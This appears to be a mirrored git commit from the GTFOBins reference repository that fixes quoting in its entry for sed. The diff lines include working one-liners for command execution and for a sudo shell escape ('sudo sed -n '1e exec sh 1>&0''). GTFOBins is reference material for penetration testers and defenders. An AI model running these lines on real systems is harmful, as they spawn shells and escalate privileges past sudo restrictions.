mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix sed quotes
This commit is contained in:
parent
f088906051
commit
f7baa8aee6
@ -7,7 +7,7 @@ functions:
|
|||||||
code: sed e
|
code: sed e
|
||||||
command:
|
command:
|
||||||
- description: GNU version only.
|
- description: GNU version only.
|
||||||
code: sed -n "1e id" /etc/hosts
|
code: sed -n '1e id' /etc/hosts
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
@ -22,5 +22,5 @@ functions:
|
|||||||
./sed -e '' "$LFILE"
|
./sed -e '' "$LFILE"
|
||||||
sudo:
|
sudo:
|
||||||
- description: GNU version only. Also, this requires `bash`.
|
- description: GNU version only. Also, this requires `bash`.
|
||||||
code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
|
code: sudo sed -n '1e exec sh 1>&0' /etc/hosts
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user